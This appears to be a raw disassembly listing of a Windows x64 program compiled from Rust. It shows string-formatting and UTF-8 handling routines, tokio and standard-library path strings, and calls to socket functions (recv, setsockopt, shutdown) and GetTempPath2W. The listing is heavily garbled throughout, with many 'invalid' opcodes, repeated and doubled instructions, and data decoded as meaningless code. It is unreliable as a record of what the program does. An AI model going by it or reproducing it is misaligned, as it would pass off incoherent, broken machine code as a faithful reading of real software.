jmp 0x140150a6b
add byte [rax], al
add byte [rdi], cl
adc byte [rbx + 0x40], al
movups xmm0, xmmword [rbx + 0x40]
movaps xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
movups xmm2, xmmword [rbx + 0x20]
and byte [rdi], cl
adc byte [rbx + 0x30], bl
invalid
and byte [rdi], cl
adc byte [rbx + 0x30], bl
movaps xmmword [rsp + 0x50], xmm3
movaps xmmword [rsp + 0x40], xmm2
sub dword [rsp + 0x40], edx
sub dword [rsp + 0x40], edx
movaps xmmword [rsp + 0x30], xmm1
movaps xmmword [rsp + 0x20], xmm0
mov rax, qword [r12]
lea rcx, [rsp + 0x20]
mov qword [rsp + 0xa8], rcx
lea rcx, [0x14014d6a0]
mov qword [rsp + 0xb0], rcx
lea rcx, [0x1401ea648]
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], 1
mov qword [rsp + 0x90], 0
lea rcx, [rsp + 0xa8]
mov qword [rsp + 0x80], rcx
mov qword [rsp + 0x88], 1
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
lea r8, [rsp + 0x70]
call fcn.1400141d0
test al, al
je 0x140150773
mov al, 1
add rsp, 0xf0
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov ecx, edi
or ecx, 8
movq rdx, xmm6
test rdx, rdx
jne 0x140150ac4
mov qword [rsi], 1
mov qword [rsi + 8], shutdown
add byte [rax], al
add byte [rax], al
add byte [rbx + 0x4e8904c9], al
xor al, 0x41
mov eax, 0x81
or ecx, 4
mov dword [rsi + 0x34], ecx
mov r8d, 0x81
mov edx, 0x30
mov r9, rax
nop dword [rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx + rcx*4 - 0x3f], cl
mov rcx, r8
shr r9, 4
shr ecx, 4
mov r8d, eax
and r8b, 0xf
cmp r8b, 0xa
cmp al, 0xa
cmp al, 0xa
mov r10d, 0x57
cmovb r10d, edx
invalid
invalid
rol byte [rbp], cl
rol byte [rbp], cl
add r10b, r8b
mov byte [rsp + rcx + 0x2e], r10b
lea r8, [rcx - 1]
lea eax, [rcx - 1]
ret 0x8844
lea eax, [rcx - 1]
cmp rax, 0x10
mov rax, r9
jae case.0x14014db1d.78
iretd
iretd
add rcx, 0xfffffffffffffffe
cmp rcx, 0x80
stc
add byte [rax], 0
add byte [rdi + 0x49], dh
stc
add byte [rax], 0
add byte [rdi + 0x49], dh
mov eax, 0x81
sub rax, r8
add rcx, rsp
add rcx, 0x30
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
and al, 0x20
and al, 0x20
lea r8, [0x1401ea6b8]
mov r9d, 2
mov rcx, rsi
int1
int1
mov dl, 1
call fcn.140013720
sub ebp, esp
push rbx
movq qword [rsi], mm6
mov dword [rsi + 0x34], edi
movaps xmm6, xmmword [rsp + 0xb0]
add rsp, 0xc8
add esp, 0xc8
add esp, 0xc8
add byte [rdi + 0x5e], bl
pop rdi
pop rsi
ret
lea r8, str.librarycore_src_fmt_num.rs
mov edx, 0x80
call fcn.1401869f0
add eax, dword [rax]
add eax, dword [rax]
ud2
int3
int3
mov rax, r8
movzx r8d, byte [rcx + 0x20]
xor r9d, r9d
cmp byte [rcx + 0x18], 2
cmovne r9, rcx
leave
leave
mov rcx, rdx
mov rdx, rax
jmp fcn.14014d9a0
invalid
invalid
ret 0x2e9
invalid
cwde
add byte [rax], al
add byte [rax - 0x73], cl
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax - 0x39], cl
adc r14b, r15b
invalid
sti
test dword [rcx], 0x4634800
or dword [rax + 1], 0x48e0ffc8
jmp rax
mov rax, qword [rdx]
invalid
add al, 0x81
mov eax, dword [rdx + 8]
or byte [rax - 0x77], cl
int1
invalid
xor ch, ah
dec dword [rax - 0x75]
mov rcx, qword [rdx - 1]
invalid
invalid
dec dword [rax - 0x75]
mov eax, dword [rdx + 7]
invalid
and byte [rax - 0x77], cl
add rsp, 0x98
add byte [rax], al
add byte [rbx + 0x5f], bl
jmp rax
invalid
and byte [rcx - 0x72b7f3ab], cl
or al, 0x48
lea edi, [rbp - 0x10]
jge 0x140150c0b
jge 0x140150c0b
invalid
or eax, 0x48ffffbe
mov dword [rbp - 0x30], edi
and bl, byte [rsi - 0xe]
dec dword [rax - 0x77]
invalid
invalid
pop rsi
dec dword [rax - 0x77]
invalid
invalid
mov dword [rbp - 0x28], eax
fmul dword [r8 - 0x73]
or al, 0x48
or al, 0x48
or al, 0x48
mov dword [rbp - 0x20], eax
lea eax, [0x140019530]
add eax, 0xffec88ef
dec dword [rax - 0x77]
call 0x1841a9991
or al, 7
invalid
add byte [rax - 0x77], cl
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], 3
lea eax, [0x1401c1890]
invalid
mov dword [rbp - 0x60], eax
mov dword [rbp - 0x58], 3
test al, 3
add byte [rax], al
add eax, dword [rax]
add byte [rax], al
invalid
add byte [rax - 0x39], cl
rol byte [r8], 0
rol byte [rax], 0
rol byte [rax], 0
add byte [rax], al
add byte [rax - 0x73], cl
add byte [rax], al
ror byte [r8 - 0x77], 1
ror byte [rax - 0x77], 1
mov dword [rbp - 0x50], eax
mov r8b, 0x48
mov dword [rbp - 0x48], 2
add al, byte [rax]
add byte [rax], al
add al, byte [rax]
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x75], r9b
and byte [rax - 0x75], cl
and byte [rax - 0x75], cl
push rsi
sub byte [rbp + rcx*4 + 0x45], cl
invalid
invalid
lea eax, [rbp - 0x60]
movabs al, byte [0x48c389ffec354fe8]
xor rax, 0xffffffffc389ffec
in al, dx
dec dword [rcx + 0x7d8348c3]
invalid
invalid
cmp dword [rbp - 8], 0
jge case.0x14014dbec.87
clc
add byte [rdi], cl
test byte [rbx + rax], dl
adc al, 3
adc al, 3
add byte [rax], al
invalid
invalid
mov ecx, dword [0x14023c258]
mov edi, 0x31000eb5
sar bh, cl
call qword [sym.imp.KERNEL32.dll_HeapFree]
xchg ebx, esp
add eax, dword [rax]
cld
add al, byte [rax]
add byte [rax - 0x3f], cl
invalid
invalid
invalid
add byte [rax], al
lea eax, [0x1401f03d8]
add eax, 0x9f727
invalid
test dword [rcx], 0xc634800
or al, 0x90
nop
sar edi, 0xe1
add eax, 0x7089f
lahf
or byte [rdi], al
add byte [rcx + 0x10], bh
add byte [rax], al
invalid
add byte [rax], al
add cl, ch
jle case.0x140150cb8.1
invalid
add al, byte [rax]
add byte [rax - 0x73], cl
invalid
invalid
add byte [rax], al
add eax, 0x7089e
or byte [rdi], al
add byte [rcx + 0x11], bh
add byte [rax], al
invalid
add byte [rax], al
add cl, ch
insd dword [rdi], dx
add al, byte [rax]
add byte [rax - 0x73], cl
invalid
invalid
add byte [rax], al
add eax, 0x7089e
or byte [rdi], al
add byte [rcx + 0x12], bh
add byte [rax], al
invalid
invalid
add byte [rax], al
add byte [rax], al
add cl, ch
pop rsp
add al, byte [rax]
add byte [rax], al
invalid
invalid
add byte [rax], al
add eax, 0x7089f
or byte [rdi], al
invalid
add byte [rcx + 0x10], bh
add byte [rax], al
add cl, ch
jmp 0x140150f49
invalid
invalid
add byte [rax], al
add byte [rax], al
add eax, 0x7089e
or byte [rdi], al
invalid
add byte [rcx + 0x10], bh
add byte [rax], al
add cl, ch
invalid
add byte [rax], al
add eax, 0x7089d
or byte [rdi], al
invalid
add cl, ch
sub dword [rdx], eax
invalid
add al, byte [rax]
add byte [rax - 0x73], cl
lea rax, [0x1401c15c6]
add byte [rax], al
movsb byte [rdi], byte [rsi]
or byte [rdi], al
add byte [rcx + 0x12], bh
mov ecx, shutdown
add byte [rax], al
add byte [rax], al
add cl, ch
sbb eax, 0x48000002
add al, byte [rax]
invalid
invalid
add al, byte [rax]
add byte [rax - 0x73], cl
lea rax, [0x1401c15d8]
add byte [rax], al
movsd dword [rdi], dword [rsi]
or byte [rdi], al
invalid
add byte [rcx + 0xd], bh
mov ecx, recv
invalid
add byte [rax], al
add cl, ch
or al, 2
invalid
add al, byte [rax]
add byte [rax - 0x73], cl
lea rax, [0x1401c15e5]
add byte [rax], al
movabs eax, dword [0xeb9000708]
invalid
add byte [rax], al
add cl, ch
sti
add dword [rax], eax
add byte [rax - 0x73], cl
lea rax, [0x1401c15f3]
add byte [rax], al
sahf
or byte [rdi], al
invalid
add byte [rcx + 0x15], bh
mov ecx, reloc.WS2_32.dll_setsockopt
invalid
add byte [rax], al
add cl, ch
invalid
add dword [rax], eax
add byte [rax - 0x73], cl
invalid
invalid
add byte [rax], al
add eax, 0x708a2
movabs byte [0xcb9000708], al
invalid
add byte [rax], al
add cl, ch
fld dword [rcx]
invalid
add dword [rax], eax
add byte [rax - 0x73], cl
invalid
invalid
add byte [rax], al
add eax, 0x7089d
popfq
or byte [rdi], al
invalid
add byte [rcx + 0xb], bh
add byte [rax], al
invalid
invalid
add byte [rax], al
add cl, ch
enter 1, 0
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x73], cl
invalid
invalid
add byte [rax], al
add eax, 0x70897
xchg edi, eax
or byte [rdi], al
invalid
add byte [rcx + 0x15], bh
add byte [rax], al
invalid
invalid
add byte [rax], al
add cl, ch
mov bh, 1
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x73], cl
invalid
invalid
add eax, 0x7089b
wait
or byte [rdi], al
invalid
add byte [rcx + 0x15], bh
add byte [rax], al
invalid
invalid
add byte [rax], al
add cl, ch
cmpsb byte [rsi], byte [rdi]
add dword [rax], eax
add byte [rax - 0x73], cl
invalid
invalid
add eax, 0x7089f
lahf
or byte [rdi], al
invalid
invalid
add byte [rcx + 0xf], bh
add dword [rax], eax
add byte [rax - 0x73], cl
invalid
invalid
add eax, 0x7089d
popfq
or byte [rdi], al
invalid
invalid
add byte [rcx + 0xe], bh
add dword [rax], eax
add byte [rax - 0x73], cl
invalid
invalid
add eax, 0x7089a
invalid
add cl, ch
jae 0x140150dd0
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x708a1
add byte [rax], al
add cl, ch
add dword [eax], eax
add byte [rax - 0x73], cl
add eax, 0x708b6
mov dh, 8
invalid
invalid
add byte [rax], al
add cl, ch
push rsi
add dword [rax], eax
add byte [rax - 0x73], cl
lea rax, [0x1401c16d7]
add byte [rax], al
add cl, ch
add dword [r8], r8d
add byte [rax - 0x73], cl
lea rax, [0x1401c16f0]
add byte [rax], al
add cl, ch
xor al, 1
add byte [rax], al
or byte [rdi], al
add byte [rcx + 0xc], bh
mov ecx, recv
add byte [rax], al
add cl, ch
and eax, dword [rcx]
add dword [rax], eax
invalid
add cl, ch
adc al, byte [rcx]
add byte [rax], al
or byte [rdi], al
add byte [rcx + 0xa], bh
mov ecx, 0xa
add cl, ch
add dword [rcx], eax
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x73], cl
lea rax, [0x1401c1726]
add byte [rax], al
add cl, ch
lock add byte [rax], al
add byte [rax], al
lea rax, [0x1401c1736]
add byte [rax], al
or byte [rdi], al
add byte [rcx + 0x17], bh
invalid
add byte [rax], al
invalid
invalid
add cl, ch
fild word [rax]
add byte [rax], al
invalid
add byte [rax - 0x73], cl
add eax, 0x708dc
invalid
invalid
invalid
add byte [rax], al
add byte [rax], al
add cl, ch
invalid
add byte [rax], al
add eax, 0x708e4
or byte [rdi], al
add byte [rcx + 0xe], bh
add cl, ch
mov ebp, 0x48000000
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x708e1
loope case.0x14014f054.72
invalid
invalid
loope case.0x14014f054.72
invalid
add byte [rax], al
add cl, ch
lodsb al, byte [rsi]
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [0x1401c1781]
add byte [rcx + 0x14], bh
adc al, 0
add byte [rax], al
loopne 0x140150ebb
invalid
mov al, byte [rax]
add eax, 0x708d7
add eax, 0x708e4
add eax, 0x708e4
cmp rcx, rdi
je 0x1401511ad
lea r8, [r14 + rcx]
mov r12, rcx
mov rdx, r8
jmp 0x14015105f
add rdx, 2
cmp rax, r13
cmovne rax, rdx
mov r10d, 2
nop dword [rax + rax]
add r12, r10
mov rdx, rax
cmp rax, r13
je 0x1401511b0
lea rax, [rdx + 1]
movzx r9d, byte [rdx]
mov r10d, 1
test r9b, r9b
test cl, cl
jns 0x140151050
cmp r9b, 0xe0
jb 0x14015103a
cmp r9b, 0xed
jne 0x1401510b1
cmp rax, r13
je 0x1401511b0
lea r9, [rdx + 2]
cmp r9, r13
je 0x1401511b0
test byte [rcx + rax], bl
add byte [rax], al
movzx eax, byte [rdx + 1]
movzx eax, ax
cmp eax, 0x9f
ja 0x1401510ed
add rdx, 3
mov r10d, 3
mov rax, rdx
jmp 0x140151050
lahf
add rdx, 2
cmp rax, r13
cmove rdx, rax
xor eax, eax
cmp rdx, r13
setne al
ror byte [rax + 1], 0xd0
mov r10d, 3
cmp r9b, 0xf0
jb 0x140151050
xor edx, edx
cmp rax, r13
setne dl
add rax, rdx
mov r10d, 4
jmp 0x140151050
movzx edx, byte [r9]
and eax, 0x1f
shl eax, 6
and edx, 0x3f
add eax, edx
add eax, 0xd800
mov word [rsp + 0x26], ax
mov r9, r12
sub r9, rcx
jb case.0x1400e7c73.1425
cmp r12, rdi
ja 0x140151203
mov rcx, rsi
mov rdx, r15
mov edx, edi
mov edx, edi
call fcn.140151220
test al, al
ror byte [rdi], 0x85
mov cl, 0
add byte [rax], al
lea rax, [rsp + 0x26]
and al, 0x26
mov qword [rsp + 0x28], rax
lea rax, [0x1400148c0]
add eax, 0xffec3781
add eax, 0xffec3781
mov qword [rsp + 0x30], rax
xor byte [rax - 0x73], cl
add eax, 0x71005
lea rax, str.u
mov qword [rsp + 0x38], rax
and al, 0x38
mov qword [rsp + 0x40], 2
add byte [rax], al
mov qword [rsp + 0x58], 0
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x28]
and al, 0x28
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
add byte [rax], al
add byte [rax - 0x77], cl
int1
add byte [rax], al
add byte [rax - 0x77], cl
int1
mov rdx, r15
lea r8, [rsp + 0x38]
cmp al, ch
xor r12b, bpl
invalid
test al, al
jne 0x1401511df
add r12, 3
mov rcx, r12
cmp r12, rdi
jbe 0x140151025
invalid
invalid
invalid
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rcx, r12
mov rdx, rdi
call fcn.1401869f0
ud2
invalid
mov rcx, rdi
sub rdi, rcx
add r14, rcx
mov rcx, rsi
mov rdx, r15
cli
cli
mov r8, r14
mov r9, rdi
call fcn.140151220
test al, al
jne 0x1401511df
lea rdx, str._C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_srcutilwake_list.rs
mov r8d, 1
mov rcx, rsi
call rbp
mov ebx, eax
mov eax, ebx
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rdx, r12
call fcn.140186d80
ud2
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rcx, r12
mov rdx, rdi
mov edx, edi
mov edx, edi
call fcn.140186af0
add eax, dword [rax]
ud2
or ecx, esp
int3
int3
push rsp
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xd8
add byte [rdi + rcx + 0x29], al
test byte [rax + rax*8], ah
add byte [rax], al
invalid
add byte [rdi + rcx + 0x29], al
movaps xmmword [rsp + 0xc0], xmm0
test byte [rax + rax*8], ah
and al, 0xc0
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0xb0], edi
mov esp, 0xb024
invalid
movaps xmmword [rsp + 0xb0], xmm7
mov esp, 0xb024
add byte [rdi], cl
sub dword [rsp + 0xa0], esi
and al, 0xa0
add byte [rax], al
invalid
movaps xmmword [rsp + 0xa0], xmm6
and al, 0xa0
add byte [rax], al
add byte [rcx + rcx*4 - 0x39], cl
mov rdi, r8
mov qword [rsp + 0x90], rdx
mov qword [rsp + 0x88], rcx
mov dword [rsp + 0x88], ecx
and al, 0x90
add byte [rax], al
add byte [rax - 0x77], cl
mov dword [rsp + 0x88], ecx
add r9, r8
mov qword [rsp + 0x60], r8
mov dword [rsp + 0x88], ecx
add r9, r8
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x98], r9
cwde
add byte [rax], al
add byte [rcx + rcx*4 + 0x4c], cl
and al, 0x68
cwde
add byte [rax], al
add byte [rcx + rcx*4 + 0x4c], cl
and al, 0x68
mov byte [rsp + 0x70], 0x81
mov byte [rsp + 0x7c], 0x81
mov r13b, 0x81
movdqa xmm6, xmmword [0x14018f650]
movdqa xmm7, xmmword [0x14018f660]
movq mm7, qword [0x14018f660]
movq mm7, qword [0x14018f660]
movdqa xmm8, xmmword [0x14018f670]
mov qword [rsp + 0x58], rax
jrcxz 0x14015129c
add byte [rax - 0x77], cl
and al, 0x58
mov qword [rsp + 0x50], rax
and al, 0x50
lea rax, [0x14019115d]
add eax, dword [rax]
xor byte [rdi], ch
add dword [rax], eax
add byte [rax - 0x39], cl
and al, 0x20
and byte [rdi], bl
and byte [rdi], bl
add dword [rax], eax
add byte [rcx - 0x48], al
sub byte [rax], al
add byte [rax], al
add al, ch
invalid
in al, dx
inc dword [rax + rax*8 + 0x142850f]
add byte [rax], al
xor dword [rbx + rdx + 0x41], 0xf80fd80
test byte [rax + 0x44000003], ah
cmp al, ah
add byte [rax], al
add byte [rdi], cl
je case.0x1400d1872.1576
movzx edx, byte [rdi]
invalid
add edi, 2
add byte [rcx + rcx*4 - 0x17], al
invalid
cmp ebp, 0x7f
fisttp word [rcx + 9]
out dx, eax
or edi, esi
mov dh, 0x44
and al, 0x4f
invalid
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x7f], al
std
add byte [rax], al
add dword [rax], eax
invalid
add byte [rbx + 0x44], dh
add eax, 0x3f99f
mov dword [rsp + 0x28], eax
add byte [rax], al
lea edx, [0x140190d10]
add eax, dword [rax]
test dword [rdx - 1], esi
jb 0x1401514c5
invalid
invalid
int1
invalid
adc dh, bh
add al, byte [rax]
movd mm0, ebp
invalid
invalid
pxor mm0, mm7
invalid
pcmpgtd mm1, mm0
enter 0x500f, 0xffffffffffffffc1
push rax
rol dword [rax + rax*8 - 0x72beb98b], 0x85
mov ch, 0xec
cld
inc dword [rbx + 0x3a7205f8]
lea eax, [rbp - 0x323b0]
test dword [rax - 0x24], edx
cld
fdiv st(4), st(0)
invalid
mov eax, ebp
loopne 0x1401514c3
add al, byte [rax]
invalid
mov eax, ebp
add byte [rdi], cl
test dword [rax], ecx
invalid
nop word cs:[rax + rax]
add dh, al
and al, 0x46
add byte [rsi - 0x39], ah
invalid
and al, 0x44
add byte [rax], r8b
mov dword [rsp + 0x44], 0x44c60000
and al, 0x4d
jge 0x140151596
invalid
mov eax, ebp
invalid
invalid
add al, 8
and al, 0x4a
mov eax, ebp
mov dh, 4
or byte [rax + 0x444b2444], cl
mov eax, r13d
loopne 0x1401515bf
or r13d, 1
mov ebp, 0x1cf183cd
int 0x83
int1
sbb al, 0xc1
jmp 0x181a25dcb
jnp 0x140151636
mov dword [rsp + rcx + 0x42], 0xf44755c
mov bh, 0x6c
and al, 0x44
or al, 0x42
pop rsp
jne 0x14015161b
movzx ebp, word [rsp + 0x44]
enter 0xffffffffffffc149, 0xffffffffffffffe8
xor byte [rcx - 0x4c], al
or ch, bl
mov r12b, 2
mov r12b, 2
outsb dx, byte [rsi]
add al, byte [rcx - 0x4b]
pop rsp
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x68
lea rbp, [rsp + 0x60]
mov qword [rbp], 0xfffffffffffffffe
mov rdi, rdx
mov rsi, rcx
movzx r14d, byte [rdx + 0x18]
mov byte [rdx + 0x18], 0
mov qword [rbp - 0x18], 2
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
mov r15, qword [rdx + 8]
movzx ebx, word [rdx + 0x10]
mov eax, 2
xor r8d, r8d
xor r12d, r12d
jmp 0x1401517cc
mov word [rax + r8*2], r13w
inc r8
mov qword [rbp - 8], r8
mov rdx, qword [rdi]
mov r13d, ebx
test bx, bx
jne 0x140151870
nop dword [rax + rax]
cmp rdx, r15
je 0x14015193b
lea rcx, [rdx + 1]
mov qword [rdi], rcx
movzx r10d, byte [rdx]
movzx r13d, r10b
test r13b, r13b
test ch, ch
jns 0x1401518d0
mov r9d, r13d
and r9d, 0x1f
lea rcx, [rdx + 2]
mov qword [rdi], rcx
mov dword [rdi], ecx
movzx r11d, byte [rdx + 1]
and r11d, 0x3f
cmp r13b, 0xdf
jbe 0x140151880
lea rcx, [rdx + 3]
mov qword [rdi], rcx
movzx r13d, byte [rdx + 2]
push 2
shl r11d, 6
and r13d, 0x3f
or r13d, r11d
or ebp, ebx
cmp r10b, 0xf0
jb case.0x14014c89f.1462
lea rcx, [rdx + 4]
mov qword [rdi], rcx
add al, 0x48
mov dword [rdi], ecx
movzx edx, byte [rdx + 3]
and r9d, 7
and ecx, 7
and ecx, 7
shl r9d, 0x12
shl r13d, 6
and edx, 0x3f
or edx, r13d
or edx, ebp
or edx, ebp
or edx, r9d
mov r13d, edx
cmp r13d, 0xffff
inc dword [rax]
add byte [rdi + 0x35], dh
inc dword [rax]
add byte [rdi + 0x35], dh
jmp 0x1401518d0
nop dword [eax]
add byte [rax], 0
add byte [rax], al
mov word [rdi + 0x10], 0
xor ebx, ebx
jmp 0x1401518d5
nop word [rax + rax]
shl r9d, 6
or r9d, r11d
mov r13d, r9d
jmp 0x1401518d0
shl r9d, 0xc
or r13d, r9d
cmp r13d, 0xffff
std
invalid
inc dword [rax]
add byte [rsi + 0x34], dh
std
invalid
lea r9d, [r13 + 0xff0000]
shr r9d, 0xa
or r9d, 0xd800
add al, bl
add byte [rax], al
add al, bl
add byte [rax], al
and r13d, 0x3ff
or r13d, 0xdc00
fadd qword [rax]
add byte [rsi + 0x44], ah
mov dword [rdi + 0x10], r13d
in eax, 0xff
add eax, dword [rax]
add byte [rcx - 0x7f], al
int 0
fadd qword [rax]
add byte [rsi + 0x44], ah
mov dword [rdi + 0x10], r13d
mov dword [rdi + 0x10], r13d
mov rdx, rcx
mov ebx, r13d
mov r13d, r9d
jmp 0x1401518d5
add byte [rcx], sil
fisttp dword [rax - 0x77]
retf 0x4166
xor ebx, ebx
mov rdx, rcx
cmp r13w, 0x22
jne 0x140151900
not r12b
and r12b, 1
in al, 1
in al, 1
mov r13d, ebx
test bx, bx
je 0x1401517e0
jmp 0x140151870
movzx ecx, r13w
cmp ecx, 0x3b
jne 0x140151914
mov r13w, 0x3b
test r12b, 1
je 0x140151937
cmp r8, qword [rbp - 0x10]
jne 0x1401517c0
lea rcx, [rbp - 0x18]
mov rdx, r8
call fcn.14014be80
mov rax, qword [rbp - 0x18]
mov r8, qword [rbp - 8]
jmp 0x1401517c0
mov byte [rdi + 0x18], 1
test r14b, r14b
jne 0x140151961
test r8, r8
jne 0x140151961
mov byte [rsi + 0x18], 2
cmp qword [rbp - 0x10], 0
jne 0x140151984
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rdx, qword [rbp - 0x18]
lea rcx, [rbp - 0x38]
call fcn.14014e2d0
movups xmm0, xmmword [rbp - 0x38]
movups xmm1, xmmword [rbp - 0x28]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
cmp qword [rbp - 0x10], 0
je 0x140151950
mov r8, qword [rbp - 0x18]
mov rcx, qword [0x14023c258]
test al, 0xe
add byte [rcx], dh
invalid
test al, 0xe
add byte [rcx], dh
ror byte [rax - 0x7d], cl
invalid
invalid
invalid
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
and al, 0x10
add byte [rax], al
add byte [rax - 0x77], cl
push rsp
and al, 0x10
push rbp
push r15
push rdi
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x60]
mov rcx, qword [rbp - 0x18]
call 0x1306aa519
call 0x1306aa519
mov edx, dword [rbp - 0x10]
push rbp
invalid
call fcn.140046050
nop
add rsp, 0x28
jp 0x140151a1a
out dx, eax
call qword [rax + 0x28c48348]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rdi
pop rbp
ret
int3
push rsi
push rdi
sub rsp, 0x28
sub esp, 0x28
sub esp, 0x28
mov rsi, rdx
mov edi, ecx
lea rcx, str.kernel32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
adc eax, 0x3d6c0
adc eax, 0x3d6c0
add byte [rax - 0x7b], cl
test rax, rax
je case.0x14011ca0b.857
sal byte [rbp + rdx + 0x48], 0x8d
adc eax, 0x71b72
lea rdx, str.GetTempPath2W
lea edx, str.GetTempPath2W
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
test eax, eax
invalid
test eax, eax
jne 0x140151a29
lea rax, case.0x1401207b8.828
mov qword [case.0x14011ca61.848], rax
mov ecx, edi
mov rdx, rsi
add rsp, 0x28
pop rdi
pop rsi
jmp rax
jmp qword [sym.imp.KERNEL32.dll_GetTempPathW]
int3
push rsi
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov r14, r8
invalid
mov rdi, rdx
mov rsi, rcx
mov esi, ecx
mov esi, ecx
mov rcx, qword [rcx]
mov rbx, qword [rsi + 0x10]
pop rsi
adc byte [rcx], dh
in eax, dx
or dword [rax - 0x75], ecx
pop rsi
adc byte [rcx], dh
in eax, dx
mov eax, 0
cmp rbx, 3
sti
invalid
jb 0x140151aaf
movzx edx, byte [rbx + rcx - 2]
mov r8d, edx
and r8b, 0xf0
xor ebp, ebp
cmp r8b, 0xa0
invalid
jne 0x140151aaf
movabs al, byte [0xfd0b7c80ed311e75]
in eax, dx
xor ebp, ebp
cmp byte [rbx + rcx - 3], 0xed
jne 0x140151aaf
adc eax, 0xb6cb60f
inc dword [rbx - 0x1a7ce01e]
invalid
movzx ebp, byte [rbx + rcx - 1]
or edi, edi
and edx, 0x1f
and ebp, 0x3f
shl edx, 0x10
adc cl, al
in eax, 0xa
adc cl, al
in eax, 0xa
or ebp, edx
mov al, 1
cmp r14, 3
jb 0x140151b69
invalid
mov al, 0
add byte [rax], al
invalid
cmp byte [rdi], 0xed
jne 0x140151b72
test dword [rax + 0x44000000], esi
movzx esp, byte [rdi + 1]
invalid
movzx r12d, byte [rdi + 1]
add dword [rcx + rcx*4 - 0x1e], eax
mov edx, r12d
and dl, 0xf0
loop 0x140151abd
cmp dl, 0xb0
jne 0x140151b72
pushfq
add byte [rax], al
invalid
pushfq
add byte [rax], al
add byte [rax + rax*8 + 0x94840f], al
test al, al
je 0x140151b72
invalid
test al, al
je 0x140151b72
invalid
movzx r13d, byte [rdi + 2]
and r12d, 0x1f
add al, byte [rcx - 0x7d]
in al, 0x1f
cmp rbx, 3
jb 0x140151af5
add rbx, 0xfffffffffffffffd
add ebx, 0xfffffffd
mov qword [rsi + 0x10], rbx
mov dword [rsi + 0x10], ebx
shl r12d, 6
in al, 6
and r13d, 0x3f
in eax, 0x3f
lea r15, [r14 - 3]
lea edi, [rsi - 3]
inc r14
mov rax, qword [rsi + 8]
invalid
invalid
sub rax, rbx
cmp rax, r14
jb 0x140151c47
add dword [rax], eax
add byte [rax - 0x7d], cl
mov dword [rbx], 0xc48141
add eax, dword [rcx - 0x7f]
invalid
add ah, bh
add rdi, 3
add eax, dword [rcx - 0x7f]
invalid
add r12d, 0xfc00
add ah, bh
add byte [rax], al
and r12d, 0xffc0
or ebp, r13d
or ebp, r12d
add ebp, 0x10000
add byte [rax], al
add dword [rax], eax
in eax, 0x81
invalid
mov rcx, rsi
mov edx, ebp
call fcn.14014f8d0
dec dword [rax - 0x75]
or byte [rax - 0x75], r9b
pop rsi
adc byte [rax + 0x29], cl
invalid
pop rsi
adc byte [rax + 0x29], cl
fmul dword [rcx + rdi - 8]
cmp rax, r15
jb 0x140151c5a
add byte [rax], al
mov rcx, qword [rsi]
add rcx, rbx
mov rdx, rdi
mov r8, r15
clc
clc
call sub.VCRUNTIME140.dll_memcpy
add rbx, r15
jmp 0x140151c1b
mov dl, 0
add byte [rax], al
invalid
mov dl, 0
add byte [rax], al
invalid
add byte [rbp - 0x7b], cl
test r14, r14
test byte [rdi], 0x84
mov word [rax], es
add byte [rax], al
je case.0x140126626.767
lea rax, [rdi + r14]
mov r8, rdi
jmp 0x140151b98
invalid
add r8, 2
cmp rdx, rax
cmovne rdx, r8
cmovne edx, eax
cmovne edx, eax
nop word cs:[rax + rax]
add byte [rcx - 0x77], cl
ror byte [rax + 0x39], 1
cmp rdx, rax
je case.0x140126626.767
mov r8, rdx
cmp rdx, rax
je case.0x140126626.767
lea rdx, [r8 + 1]
movzx r9d, byte [r8]
push rax
add dword [rbp + 0xf], eax
mov dh, 8
test r9b, r9b
jns 0x140151b90
cmp r9b, 0xe0
jb case.0x1401207b8.844
invalid
rol byte [rcx - 0x80], 1
stc
in eax, dx
jne 0x140151bcf
cmp rdx, rax
je case.0x140126626.767
lea rdx, [r8 + 2]
cmp rdx, rax
je case.0x140126626.767
cmp byte [r8 + 1], 0x9f
ja case.0x1401207b8.852
invalid
